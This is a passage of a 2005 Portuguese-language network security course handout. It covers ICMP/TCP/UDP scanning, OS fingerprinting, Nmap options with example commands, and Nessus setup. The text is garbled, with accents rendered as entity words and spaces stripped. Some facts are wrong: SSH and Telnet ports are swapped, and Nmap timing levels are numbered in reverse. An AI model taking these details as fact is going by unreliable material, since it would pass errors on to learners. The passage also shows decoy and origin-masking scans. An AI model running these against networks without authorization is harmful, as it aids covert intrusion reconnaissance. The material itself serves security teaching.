Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 40 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20058) Analisando e varrendo a RedePara realizar a varredura da rede caracteriacutesticas especiacuteficas do seu protocolo devem serexploradas Como o protocolo de rede utilizado na especificaccedilatildeo do modelo eacute o TCPIP as teacutecnicas de

varredura aqui descritas satildeo aquelas que se baseiam nas caracteriacutesticas desta pilha de protocoloSobre a pilha do TCPIP existem trecircs tipos baacutesicos de varreduras uma baseada no seu protocolo decontrole (ICMP) outra no protocolo TCP e a terceira no protocolo UDP Dentre as varreduras a maisutilizada eacute a TCP isto se deve ao elevado niacutevel de exatidatildeo que esta coleta de dados propicia81) Varredura ICMP - Internet Control Message ProtocolUma das teacutecnicas mais simples de varredura eacute a Varredura via ICMP O protocolo ICMP eacutenormalmente utilizado para o envio e recebimento de informaccedilotildees sobre o funcionamento dos noacutes como porexemplo data e horaAtraveacutes deste protocolo eacute possiacutevel implementar vaacuterios meacutetodos de varreduras como por exemploenvio de ECHO e ECHO Reply anaacutelise de mensagens de erro geradas por um noacute uso de Trace Routecom ICMP ECHO e etcICMP ECHO e ECHO Reply Esta varredura consiste no envio de pacotes do tipo ICMPECHO ao noacute alvo e aguardar por uma resposta Todo noacute ativo deve responder a esta mensagem com umpacote do tipo ICMP ECHO Reply Quando um noacute natildeo responde aos pacotes ICMP ECHO dentro de umintervalo de tempo (time-out) o mesmo pode estar desconectado ou sendo filtrado por algum firewall ougateway de bordaUm exemplo de varredura via ICMP eacute a utilizaccedilatildeo do comando ping que eacute um aplicativopadratildeo TCPIP que estaacute presente em vaacuterias arquiteturas eacute permite o envio de pacotes dotipo ICMP ECHO para verificar se um noacute estaacute ativo Poreacutem esta forma de verificaccedilatildeo natildeo eacuteindicada para redes com mais do que poucas dezenas de noacutes O ping sempre espera aresposda de um noacute ao pacote enviado ou ateacute que ocorra o time-out antes de enviar umoutro pacoteUma alternativa ao ping eacute o aplicativo fping que eacute utilitaacuterio de rede disponiacutevel para asplataformas Unix-Like e que funciona de forma anaacuteloga ao ping mas com o envio depacotes de forma paralela que utiliza a mesma teacutecnica entretanto realiza o envio dosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 41 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005pacotes ICMP de forma simultacircnea para vaacuterios endereccedilos acelerando o processo de

varredura da rede Outra funcionalidade deste aplicativo eacute a possibilidade de se configurar otime-out da conexatildeoO uso do endereccedilo de Broadcast e de Rede satildeo duas alternativas que podem ser utilizadasneste tipo de varredura Neste caso todos os noacutes ativos na rede devem responder ao noacuteque originou a mensagem com um pacote ICMP ECHO Reply Desta forma com um uacutenicopacote eacute possiacutevel varrer todo um segmento de rede Entretanto esta teacutecnica soacute pode seraplicada para noacutes baseados no Unix uma vez que maacutequinas com sistema operacional daMicrosoft natildeo respondem a solicitaccedilatildeo ICMP quando enviada ao endereccedilo de Broadcast oude RedePois segundo a RFC1122 se um pacote ICMP ECHO eacute enviado via endereccedilo deBroadcast ou de Rede o mesmo pode ser silenciosamente descartado pelo noacutes que orecebeA varredura utilizando endereccedilo de Broadcast ou Rede pode provocar uma negaccedilatildeo deserviccedilo ( DoS - Denial-of-Service) no noacute responsaacutevel pelo envio dos pacotes ICMP ECHOEsta negaccedilatildeo de serviccedilo ocorre devido agrave grande quantidade de pacotes de resposta que elerecebe para cada pacote ICMP geradoNon-ECHO ICMP Aleacutem da mensagem ICMP ECHO o protocolo ICMP implementa vaacuteriosoutros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no proacutepriomapeamento de dispositivos de rede Dentre as principais mensagens ICMP pode-se destacar ECHO( Request - Tipo 8 Reply - Tipo 0) Time Stamp ( Request - Tipo 13 Reply - Tipo 14) Information( Request - Tipo 15 Reply - Tipo 16) e Address Mask ( Request - Tipo 17 Reply - Tipo 18)O envio de mensagens do tipo ICMP Time Stamp Request eacute utilizado normalmente paraquestionar a um noacute a sua hora e data atual Receber uma resposta ICMP Time StampReply significa que o noacute estaacute ativo Contudo as mensagens ICMP Time Stamp Requestnatildeo costumam ser respondidas por noacutes com um dos sistemas operacionais da Microsoft Ocomportamento dos sistemas da Microsoft se deve agrave forma como a RFC 1122 foiinterpretada pelos seus desenvolvedores

A mensagem ICMP Address Mask Request eacute utilizada por uma maacutequina sem disco paraobter a maacutescara de rede durante seu processo de boot e tambeacutem pode ser utilizada pararealizar a varredura da redeQuando uma solicitaccedilatildeo deste tipo eacute feita atraveacutes do endereccedilo de Broadcast todos os noacutesProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 42 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005que estatildeo configurados para responder a esta mensagem envia um reply com oendereccedilo solicitado Normalmente este tipo de mensagem eacute respondida por GatewaysRoteadores e em alguns casos por maacutequinas que funcionam como agentes autorizadospara o fornecimento de maacutescara de redeICMP Error Messages Este meacutetodo consiste no envio de mensagens formatadas de talmodo que ao serem recebidas pelo noacute produziratildeo uma mensagem de erro do protocolo ICMPUma das formas de se provocar uma mensagem de erro eacute atraveacutes do envio de pacotes IPque possuem em seu cabeccedilalho campos incorretos Pacotes deste tipo normalmente geramuma mensagem de erro do tipo ICMP Parameter Problem Error que normalmentepossui o campo Code configurado para zero (0) Esta varredura permite identificar noacutesativos independentemente dos protocolos (TCPUDPICMP) implementados por eles quetambeacutem pode ser empregada sobre roteadores Contudo roteadores realizam umaverificaccedilatildeo mais relaxada dos campos do cabeccedilalho IP como afirma a RFC1812 Outra vantagem eacute que esta teacutecnica pode ser aplicada mesmo se o noacute estaacute sendo filtradopor algum firewall uma vez que as mensagens forjadas podem ser enviadas para portasespeciacuteficas como por exemplo as portas TCP 21 25 80 e UDP 53ICMP Fragment Reassembly Time Exceeded Quando um noacute recebe um datagramafragmentado em vaacuterios pacotes e ao remontaacute-los percebe que estatildeo faltando alguns pacotes ele osaguarda por um determinado periacuteodo de tempo quando entatildeo iraacute descartar todos os pacotes e enviaraacute aonoacute que originou os datagramas uma mensagem de erro do tipo ICMP Fragment Reassembly TimeExceeded

ICMP Fragmentation Needed and Dont Fragment Bit was Set Quando um roteadorrecebe uma mensagem ele verifica o valor do campo PMTU se este for maior do que o valor que eleestaacute utilizando o roteador pode retornar ao noacute que gerou o pacote uma mensagem de erro do tipo ICMPFragmentation Needed and Dont Fragment Bit was Set Utilizando esta teacutecnica eacute possiacutevel determinar a existecircncia de Roteadores entre a maacutequinaalvo e a maacutequina atual bem como informaccedilotildees especiacuteficas que podem ajudar agrave determinara suposta marca e modelo deste equipamentoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 43 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200582) Varredura de PortasVaacuterios gateways de seguranccedila impedem o envio e o recebimento de pacotes ICMP entre redesdistintas para inibir a varredura ICMP Quando as varreduras baseadas no protocolo ICMP natildeo podem ser utilizadas a Varredura dePortas eacute uma alternativa eficiente uma vez que sempre existem portas atraveacutes das quais um gatewaypermite o traacutefego de entrada e saiacuteda como eacute o caso das portas 21 (FTP) 22 (Telnet) 23 (SSH) 25(SMTP) 80 (HTTP) 110 (POP) e 443 (HTTPS) As varreduras de porta satildeo normalmente baseadas ou no protocolo TCP ou no protocolo UDP Devido agrave suas caracteriacutesticas o protocolo TCP eacute aquele que apresenta a maior variedade de tipos devarredura821) Varredura de Portas TCPA varredura de portas TCP eacute feita pelo envio de pacotes agrave porta alvo e aguardando-se pelasrespostas Quando a porta alvo responde os pacotes recebidos teratildeo alguns de seus campos analisados ecom base nesta anaacutelise seraacute possiacutevel determinar se a porta estaacute aberta e o noacute ativoAtualmente existem vaacuterios tipos de varredura TCP algumas das quais satildeo descritas a seguirVarredura de Conexatildeo TCP Nesta varredura a maacutequina de origem tenta estabelecer umaconexatildeo vaacutelida com a porta alvo durante a qual deve ocorrer o 3 way handshake do protocolo TCP esteprocesso consiste no envio de um pacote SYN agrave porta alvo no recebimento de um pacote SYNACK e finalmente no envio do pacote ACK agrave porta alvo Caso a conexatildeo seja completada com sucesso eacutepossiacutevel afirmar que a porta estaacute aberta e o noacute ativo

Por realizar uma conexatildeo completa esta varredura pode ser facilmente percebida porferramentas de detecccedilatildeo de intrusatildeo e por essa razatildeo raramente eacute utilizada com finalidade furtivaVarredura TCP SYN esta varredura tambeacutem eacute conhecida como varredura semi-aberta pois aoreceber o pacote SYNACK vindo da porta alvo o noacute que originou a primeiro pacote natildeo responde como pacote ACK Ao receber o pacote com os bits SYNACK setados o noacute pode-se afirmar que a portaestaacute aberta Contudo se for recebido um pacote com os bits RSTACK a porta provavelmente natildeo estaacuteno estado de escutaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 44 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Por ser uma teacutecnica mais furtiva vaacuterios sistema de monitoramento natildeo registram este tipo devarreduraVarredura TCP FIN este teacutecnica eacute muito utilizada contra sistemas baseados em UNIX poisquando estes recebem um pacote FIN destinado agrave porta fechada eles enviam de volta um pacote RSTcontudo o mesmo natildeo acontece com sistemas Windows que ignoram o pacote Este padratildeo eacute documentadona RFC793 Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits FIN URG ePUSH ligados agrave porta alvo e segundo a RFC793 toda porta fechada deve responder com um pacoteRSTVarredura TCP NULL Quando uma porta alvo recebe um pacote com todos os flags desligados(setados como 0) ela deve responder com um pacote RST caso esteja fechadaVarredura TCP ACK Esta teacutecnica eacute usada para mapear regras de um determinado firewallpermitindo determinar se o firewall eacute apenas um filtro de pacote ou um firewall de estadosVarredura TCP Windows Esta teacutecnica analisa o tamanho do campo Window do protocolo TCP epermite determinar se a porta estaacute aberta filtrada ou natildeo filtrada Esta anaacutelise eacute possiacutevel pois algunsgateways de seguranccedila alteram o valor deste campo quando filtram determinadas portasVarredura TCP RPC Esta teacutecnica permite identificar qual eacute a versatildeo dos aplicativos RPC footnoteO serviccedilo RPC (Remote Procedure Call) eacute especifico do sistema operacional UNIX que estatildeo ativos em

um noacute Unix Like Alguns dos serviccedilos que fazem uso do RPC satildeo o NFS (Network File System) e o NIS(Network Information Service)822) Varredura de Portas UDPApesar de existirem vaacuterios tipos de varreduras TCP existe somente uma baseada no protocoloUDP Esta uacutenica varredura consiste no envio de datagramas com zero (0) bytes de dados agrave porta alvo Aresposta pode ser uma mensagem ICMP port unreachable indicando que a porta estaacute fechada caso natildeoocorra nenhuma resposta a porta pode estar aberta ou sendo filtradaQuando datagramas satildeo enviados a vaacuterias portas de uma maacutequina e um grande nuacutemero delas natildeoos responde estas provavelmente estatildeo em estado de escuta Por outro lado se nenhuma porta respondeisto pode indicar que ou o noacute estaacute fora do ar ou o mesmo estaacute sendo filtradoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 45 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Uma forma alternativa de anaacutelise consiste na escolha de uma porta UDP que segundo a lista deporta definida pela IANA natildeo deve estar em estado de escuta e no envio de pacotes se a mesma natildeoresponder com uma mensagem ICMP Port Unreachable Error eacute porque ela estaacute sendo filtradaExiste uma grande quantidade de ferramentas disponiacuteveis para se realizar a varredura de redes decomputadores no entanto apenas algumas se destacam pelas suas funcionalidades dentre elasVarredura de ICMP Ping Fping Hping Nmap Icmpenum e IcmpqueryVarredura de Portas Nmap Strobe Udp_scan e Netcat83) Coleta do sistema operacional dos noacutes remotosUtilizando-se das teacutecnicas de varredura o modelo pode realizar o mapeamento de todo umsegmento de rede identificando noacutes ativos e portas abertas poreacutem estas teacutecnicas natildeo permitem determinarcom exatidatildeo o Sistema Operacional ativo em um noacute remoto e portanto eacute necessaacuterio o uso de uma outrametodologia para este fimA metodologia comumente utilizada para determinar o sistema operacional de um noacute se baseia nacoleta de seu fingerprint ou sua impressatildeo digital Quando os desenvolvedores dos vaacuterios sistemasoperacionais implementam a pilha do protocolo TCPIP eles normalmente interpretam de forma distintaas recomendaccedilotildees feitas pelas RFCs e produzem pilhas com caracteriacutesticas proacuteprias Estascaracteriacutesticas formam o fingerprinting de um noacuteAnalisando o comportamento da pilha de uma determinada versatildeo de um sistema operacional e

mapeando o resultado dentro de um banco de dados eacute possiacutevel utilizar estes dados para a verificaccedilatildeo dosistema operacional de outros noacutesO fingerprinting de um noacute pode ser coletado de forma Ativa atraveacutes do envio de pacotes ao noacutealvo e da anaacutelise do pacotes recebidos e de forma Passiva pela anaacutelise de pacotes pertencentes aconexotildees jaacute estabelecidas e coletados diretamente pela interface de redeProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 46 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005831) Coleta ativa do fingerprintingA coleta ativa do fingerprinting consiste no envio de pacotes preacuteviamente formatados para o noacutealvo e na anaacutelise de campos especiacuteficos dos pacotes recebidos como resposta Neste tipo de coleta ainterface de rede natildeo necessita ser colocada em modo promiacutescuoO fingerprinting ativo possui um elevado niacutevel de exatidatildeo mas falha quando as caracteriacutesticasda pilha TCPIP satildeo alteradas pelo seu administrador Isto normalmente ocorre quando o administradorrealiza otimizaccedilotildees no noacute ou quando ele implementa uma poliacutetica baseada em obscuridade na qual ofingerprinting eacute alterado para forjar um outro sistema operacionalA coleta ativa da impressatildeo digital de um noacute pode ser realizada atraveacutes de vaacuterias anaacutelises simplestais comoSonda FIN segundo a RFC973 quando uma porta aberta recebe um pacote FIN natildeo deveresponder entretanto algumas pilhas TCPIP como eacute o caso da pilha do Windows NT responde com umamensagem FINACK Sonda de Flag Falso consiste no envio de um pacote SYN com o flag indefinido configuradocomo 1 dependendo do sistema operacional Este pacote pode ser respondido atraveacutes de um pacotecom o mesmo flag setado em 1 Este procedimento eacute implementado pelo Linux e por outros sistemasUnix Like Bit natildeo Fragmentar para permitir um melhor desempenho do protocolo TCPIP alguns sistemaoperacionais setam este campo com o valor 1 e outros como eacute o caso do Solaris natildeo permitem o seuusoTamanho da Janela TCP o tamanho deste campo eacute normalmente dependente do sistemaoperacional Por exemplo o AIX eacute o uacutenico sistema operacional a utilizar o valor Ox3F25 para este campoNumero Sequumlencial do ACK esta teacutecnica consiste em observar o valor do nuacutemero sequumlencial do

pacote ACK Alguns sistemas respondem ao pacote com o mesmo nuacutemero sequumlencial daquele que ooriginou outros incrementam este valor em uma unidade antes de respondecirc-loLimitaccedilatildeo das Mensagem de Erro ICMP alguns sistemas operacionais seguindo asrecomendaccedilotildees da RFC1812 limitam a taxa de envio das mensagens de erro ICMP a um determinado valorpor intervalo de tempo Sendo este valor padronizado basta enviar vaacuterios pacotes UDP agrave uma portafechada e aguaradar a mensagem ICMP port unreachable Esta teacutecnica normalmente natildeo eacute muitoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 47 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005utilizada pois torna a coleta do fingerprinting lenta Tipo de Serviccedilo (TOS) a maioria dos sistema operacionais setam este campo para zero (0)quando enviam uma mensagem ICMP port unreachable apesar de alguns sistemas operacionais utilizamvalores diferentesOpccedilotildees do TCP as opccedilotildees baacutesicas do protocolo TCP satildeo determinadas pela RFC793 e pelaRFC1323 jaacute as opccedilotildees avanccediladas satildeo definidas pela RFC1323 Realizando o envio de vaacuterios pacotes comvalores especiacuteficos nestes campos e analisando a resposta pode-se supor o sistema operacional ativovisto que nem todos os sistemas implementam todas as opccedilotildees descritas nestas RCFs Existem ainda outras teacutecnicas que natildeo se utilizam de pacotes TCP ou UDP ao inveacutes disto fazemuso de mensagens de ICMP Estas teacutecnicas foram utilizadas por Ofir Arkin na construccedilatildeo da ferramentaXprobe 832) Coleta passiva do fingerprintingA coleta passiva consiste na captura de pacotes pertencentes agraves conexotildees ativas por um snifferSniffers satildeo utilitaacuterios de rede que operam em modo promiacutescuo e permitem a coleta dos dados dasconexotildees de outras estaccedilotildees de trabalho sem que ocorra a alteraccedilatildeo da mesma ou que a accedilatildeo sejadetectada e da anaacutelise dos mesmos Esta coleta necessita que a interface de rede esteja operando emmodo promiacutescuo No modo promiacutescuo todo o traacutefego de dados pode ser capturado por uma interface derede independentemente do endereccedilo de destino natildeo gerando assim traacutefego na redeO fingerprinting passivo possui a grande de vantagem ser indetectaacutevel pelo noacute alvo Por outro ladocaso existam pacotes forjados circulando pela rede a coleta passiva pode ser induzida a determinar de

forma errocircnea o sistema operacional de alguns noacutesA anaacutelise dos pacotes coletados pela interface de rede tem por finalidade determinar asidiossincrasias nas implementaccedilotildees das pilhas TCPIP de cada sistema operacionalOs principais campos utilizados para identificar o sistema operacional de um noacute satildeo o TTL oWindows Size o DF e o TOS pois possuem valores tabelados de acordo com o sistema operacional esua versatildeoDurante uma anaacutelise o primeiro campo verificado eacute o campo TTL Quando o valor deste campo eacuteigual agrave 64 o pacote provavelmente pertence a um noacute com Linux ou FreeBSDProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 48 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O segundo campo analisado eacute o Windows Size que normalmente possui valor igual a 0x7D78quando a maacutequina possui uma versatildeo do Windows ou do Linux instalado O terceiro campo verificado eacute oflag DF que indica se o pacotes estaacute fragmentado ou natildeo Poucos satildeo os sistemas que setam este bitcomo zero mas o SCO e o OpenBSD utilizam este padratildeo O ultimo campo verificado eacute o TOS que namaioria das mensagem estaacute setado para zeroPor exemplo suponha que um dos pacotes capturados pelo sniffer apresente as caracteriacutesticasabaixo Cruzando os dados coletados com as informaccedilotildees acima pode-se concluir que o noacute provavelmenteroda uma versatildeo do Kernel do LinuxTTL 64Window Size 0x7D78DF bit 1TOS 0x0Outros campos tambeacutem podem ser utilizados na detecccedilatildeo do sistema operacional de forma passivamas softwares como o Siphon p0f e o Cheops utilizam somente estes quatro campos para gerar everificar as assinaturas dos sistemas operacionaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 49 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 20059)Kit de FerramentasAs proacuteximas sessotildees apresentam algumas ferramentas comumente utilizadas por administradoresno processo de verificaccedilao do niacutevel de seguranccedila de seus ambientes91) NmapO Nmap fornece de uma maneira geral a relaccedilatildeo de computadores e serviccedilos ativos Existem

diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem 